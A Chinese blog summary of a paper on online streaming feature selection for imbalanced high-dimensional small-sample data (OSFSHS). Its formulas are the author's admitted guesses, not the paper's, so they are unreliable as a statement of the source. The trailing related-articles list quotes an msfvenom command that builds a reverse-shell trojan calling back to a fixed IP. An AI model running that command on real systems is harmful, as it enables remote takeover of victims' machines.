高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址

简要总结

《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据(HDSS)在类别不平衡情况下的在线流式特征选择问题,提出了一种名为OSFSHS的算法。该算法基于类别密度自适应邻域关系假设,利用在线显著性分析、相关性分析和冗余更新技术,动态选择特征子集。通过12个数据集的实验验证,OSFSHS在分类准确率、F-score和G-mean指标上优于六种主流算法,尤其在少数类预测中表现突出。其创新点在于自适应邻域定义和在线特征评估框架,为实时数据处理提供了新思路。

以下是详细说明:


1. 研究背景

高维小样本数据(HDSS)是指特征维度远大于样本数量的数据类型,常见于图像识别、文本分类和医疗诊断等领域。这种数据面临以下挑战:

  • 高维性与过拟合:特征维度高导致维度灾难,模型易过拟合。
  • 小样本性:样本量不足,难以充分训练模型。
  • 类别不平衡:多数类样本占主导,少数类样本稀少,模型往往偏向多数类,而少数类(如欺诈检测中的异常样本)在应用中更关键。
  • 在线流式场景:特征逐个或成组到达,需动态选择最优特征子集,而非传统静态选择。

传统特征选择方法假设特征空间固定且完整,忽视类别不平衡,导致少数类预测性能不足。现有的类别不平衡处理方法(如过采样、欠采样)改变数据分布,可能引入噪声或丢失信息;而直接建模方法(设计特定算法直接处理不平衡数据)对难以适应特征流式到达的动态环境。因此,亟需一种兼顾HDSS特性、类别不平衡和在线需求的特征选择方法。


2. 基于的假设

OSFSHS算法基于以下核心假设:

  • 类别密度决定邻域关系:样本的邻域关系应由其所在类别的分布密度决定,而非统一固定距离或邻居数量。这种假设认为类内密度信息能更准确反映不平衡数据的结构。
  • 特征重要性动态变化:新到达的特征可能比已有特征更重要,特征子集需随时间动态调整。
  • 原始分布保持:不改变数据原始分布,仅通过类内信息评估特征,避免采样方法带来的偏差。

这些假设旨在解决传统方法对不平衡数据分布的忽视,同时适应在线流式场景的实时性需求。


3. 使用的技术路线

OSFSHS的技术路线分为三个核心模块,构成完整的在线流式特征选择框架:

  1. 在线显著性分析
    • 评估新到达特征的邻域一致性,若高于已有特征子集,则替换或加入。
  2. 在线相关性分析
    • 检查新特征与已有特征的联合依赖性,若联合效果更好,则保留新特征。
  3. 在线冗余更新
    • 移除特征子集中冗余特征,保证子集高效性。

技术路线依托自适应邻域关系和邻域一致性度量,通过动态调整实现特征选择的实时性和准确性。


4. 实现的技术细节

OSFSHS的具体实现包括以下步骤:

(1) 自适应邻域关系
  • 定义:基于类别密度为每个样本动态分配邻居数量,而非固定k值。
  • 过程:利用目标样本所在类别的分布信息,计算类内密度,确定邻域范围。
  • 优势:避免传统k近邻方法对稀疏或密集区域的统一处理,适应不平衡数据。
(2) 邻域一致性度量
  • 定义:衡量特征子集与标签空间的一致性,作为特征重要性标准。
  • 计算:基于新邻域关系,评估特征如何区分不同类别。
  • 应用:用于后续的显著性、相关性和冗余分析。
(3) 在线流式特征选择
  • 阶段1:在线显著性分析
    • 输入新特征,计算其邻域一致性。
    • 若一致性高于已有特征子集,则替换低效特征。
  • 阶段2:在线相关性分析
    • 计算新特征与已有特征子集的联合依赖性。
    • 若联合依赖性优于单一特征,则保留新特征。
  • 阶段3:在线冗余更新
    • 检查已有特征子集,若某特征与新特征联合依赖性低于新特征单独依赖性,则移除冗余特征。
(4) 算法流程
  • 输入:流式到达的特征、样本数据、标签。
  • 输出:动态更新的特征子集。
  • 特点:实时性强,计算复杂度低,适合在线场景。

5. 详细的数学公式表达

以下是OSFSHS的关键数学表达(因原文未提供具体公式,此处根据描述推导典型形式):

(1) 邻域一致性度量

设特征子集 S S S,样本 x i x_i xi 的类别标签为 y i y_i yi,邻域为 N ( x i ) N(x_i) N(xi),一致性定义为:

C ( S ) = 1 n ∑ i = 1 n I ( y i = majority ( N ( x i , S ) ) ) C(S) = \frac{1}{n} \sum_{i=1}^n \mathbb{I}(y_i = \text{majority}(N(x_i, S))) C(S)=n1i=1nI(yi=majority(N(xi,S)))

其中:

  • n n n 为样本数;
  • I \mathbb{I} I 为指示函数,若 y i y_i yi 与邻域多数类别一致则为1,否则为0;
  • N ( x i , S ) N(x_i, S) N(xi,S) 是基于特征子集 S S S 计算的邻域。
(2) 在线显著性分析

新特征 f new f_{\text{new}} fnew 的显著性:

Sig ( f new ) = C ( S ∪ { f new } ) − C ( S ) \text{Sig}(f_{\text{new}}) = C(S \cup \{f_{\text{new}}\}) - C(S) Sig(fnew)=C(S{fnew})C(S)

Sig ( f new ) > θ \text{Sig}(f_{\text{new}}) > \theta Sig(fnew)>θ(阈值),则 f new f_{\text{new}} fnew 加入 S S S

(3) 联合依赖性

特征 f new f_{\text{new}} fnew 与子集 S S S 的联合依赖性可用互信息表示:

I ( f new , S ; Y ) = H ( Y ) − H ( Y ∣ f new , S ) I(f_{\text{new}}, S; Y) = H(Y) - H(Y | f_{\text{new}}, S) I(fnew,S;Y)=H(Y)H(Yfnew,S)

其中:

  • H ( Y ) H(Y) H(Y) 为标签熵;
  • H ( Y ∣ f new , S ) H(Y | f_{\text{new}}, S) H(Yfnew,S) 为条件熵。
(4) 冗余判断

对于已有特征 f j ∈ S f_j \in S fjS,若:

I ( f new , f j ; Y ) < I ( f new ; Y ) I(f_{\text{new}}, f_j; Y) < I(f_{\text{new}}; Y) I(fnew,fj;Y)<I(fnew;Y)

f j f_j fj 被视为冗余并移除。

这些公式体现了OSFSHS的动态评估过程,具体实现中可能涉及参数调整和优化。


6. 提出的创新点

OSFSHS的创新点包括:

  1. 基于类别密度的邻域关系
    • 通过类内密度动态定义邻域,克服传统方法的固定假设,适应不平衡数据。
  2. 在线特征评估框架
    • 包含显著性分析、相关性分析和冗余更新,形成完整在线选择体系。
  3. 保持原始分布
    • 不依赖采样,仅利用类内信息选择特征,避免数据分布改变。

这些创新提升了算法在HDSS和类别不平衡场景中的适用性。


7. 实验分析

(1) 实验设置
  • 数据集:12个公开数据集(10个不平衡,2个常规),特征维度2308至12600,类别比例差异大(如GENE9为32.83)。
  • 评估指标:分类准确率、F-score(综合精确率和召回率)、G-mean(平衡正负类效果)。
  • 对比算法:OSFS、FOSFS、SAOLA、KOFSD、OFSD、OFSI。
(2) 结果分析
  • 性能表现
    • OSFSHS在多数数据集上优于对比算法,尤其在F-score和G-mean上。例如,BREAST数据集F-score达0.9836(KNN)。
  • 少数类预测
    • 在不平衡数据集上,OSFSHS显著提升少数类性能,体现了对类别不平衡的处理能力。
  • 统计检验
    • Friedman和Nemenyi检验显示OSFSHS性能差异显著,平均排名第一。
  • 稳定性
    • 雷达图显示OSFSHS总体稳定,但在GENE10等极端稀疏数据集上略有波动。
(3) 结论

实验证明OSFSHS在HDSS在线流式特征选择中表现优异,尤其适合类别不平衡场景。

算法流程图

在这里插入图片描述

实验结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述


8. 总体评价

OSFSHS通过自适应邻域关系和在线评估框架,解决了HDSS数据在类别不平衡下的特征选择难题。其技术路线清晰,实验结果令人信服,创新点突出,为实时数据处理提供了理论和实践价值。未来可扩展至群体特征选择和多标签学习,进一步提升应用前景。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73509.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口&#xff0c;用于搜索店铺列表。通过该接口&#xff0c;开发者可以查询特定店铺的相关信息&#xff0c;包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…

uniapp主题切换功能,适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化&#xff1a; H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…

线程未关闭导致资源泄漏

文章目录 资源泄漏&#xff08;线程未关闭&#xff09;问题描述错误实现优化原理正确实现优化原理 资源泄漏&#xff08;线程未关闭&#xff09; 问题描述 应用程序启动时创建线程池处理任务&#xff0c;但未在应用关闭时正确关闭线程池。 现象&#xff1a; 应用重启时&…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件&#xff1a; 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…

如何在 Postman 中发送 PUT 请求?

在 Postman 中发送 PUT 请求的步骤相对简单&#xff0c;包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程&#xff0c;支持Windows和Mac系统&#xff0c;操作简单&#xff0c;永久免费使用。同时&#xff0c;我们也会提到另一款强大的抓包工具——SniffMaster&#xff08;抓包大师&#xff09;&#xff0c;它在网络调试和数据包分析方面同样表现出色…

卷积神经网络 - 参数学习

本文我们通过两个简化的例子&#xff0c;展示如何从前向传播、损失计算&#xff0c;到反向传播推导梯度&#xff0c;再到参数更新&#xff0c;完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络&#xff0c;其结构仅包含一个卷积层和一个输出…

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层&#xff08;Presentation Layer&#xff09;业务逻辑层&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;数据访问层&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三层架构…

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器"&#xff0c;防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache)&#xff1a;就是数据交换的缓冲区&…

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递&#xff1b;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量&#xff0c;减少频繁…

effective Java 学习笔记(第二弹)

effective Java 学习笔记&#xff08;第一弹&#xff09; 整理自《effective Java 中文第3版》 本篇笔记整理第3&#xff0c;4章的内容。 重写equals方法需要注意的地方 自反性&#xff1a;对于任何非空引用 x&#xff0c;x.equals(x) 必须返回 true。对称性&#xff1a;对于…

mac命令行快捷键

光标移动 Ctrl A: 将光标移动到行首。Ctrl E: 将光标移动到行尾。Option 左箭头: 向左移动一个单词。Option 右箭头: 向右移动一个单词。 删除和修改 Ctrl K: 删除从光标到行尾的所有内容。Ctrl U: 删除从光标到行首的所有内容。Ctrl W: 删除光标前的一个单词。Ctrl …

CentOS 7部署主域名服务器 DNS

1. 安装 BIND 服务和工具 yum install -y bind bind-utils 2. 配置 BIND 服务 vim /etc/named.conf 修改以下配置项: listen-on port 53 { any; }; # 监听所有接口allow-query { any; }; # 允许所有设备查询 3 . 添加你的域名区域配置 …

优化 SQL 语句方向和提升性能技巧

优化 SQL 语句是提升 MySQL 性能的关键步骤之一。通过优化 SQL 语句,可以减少查询时间、降低服务器负载、提高系统吞吐量。以下是优化 SQL 语句的方法、策略和技巧: 一、优化 SQL 语句的方法 1. 使用 EXPLAIN 分析查询 作用:查看 SQL 语句的执行计划,了解查询是如何执行的…

C++ 多线程简要讲解

std::thread是 C11 标准库中用于多线程编程的核心类&#xff0c;提供线程的创建、管理和同步功能。下面我们一一讲解。 一.构造函数 官网的构造函数如下&#xff1a; 1.默认构造函数和线程创建 thread() noexcept; 作用&#xff1a;创建一个 std::thread 对象&#xff0c;但…

Vscode HTML5新增元素及属性

一、‌HTML5 语义化标签 HTML5 语义化标签&#xff08;Semantic Elements&#xff09;是一组 ‌具有明确含义的 HTML 元素‌&#xff0c;通过标签名称直接描述其内容或结构的功能&#xff0c;而非仅作为样式容器&#xff08;如 <div> 或 <span>&#xff09;。它们旨…

【PostgreSQL教程】PostgreSQL 特别篇之 语言接口Python

博主介绍:✌全网粉丝22W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…

Three学习入门(四)

9-Three.js 贴图与材质学习指南 环境准备 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…

前端NVM安装

https://v0.dev/chat/settings 本地启动环境 1安装 nvm 2安装node nvm install v18.19.0 nvm install v20.9.0 nvm use 18 node -v 3安装 pnpm npm install -g pnpm 或者 npm i -g pnpm 4启动 代码 目录下 执行 pnpm i pnpm run dev 4.1到代码目录下 4.2直接cmd…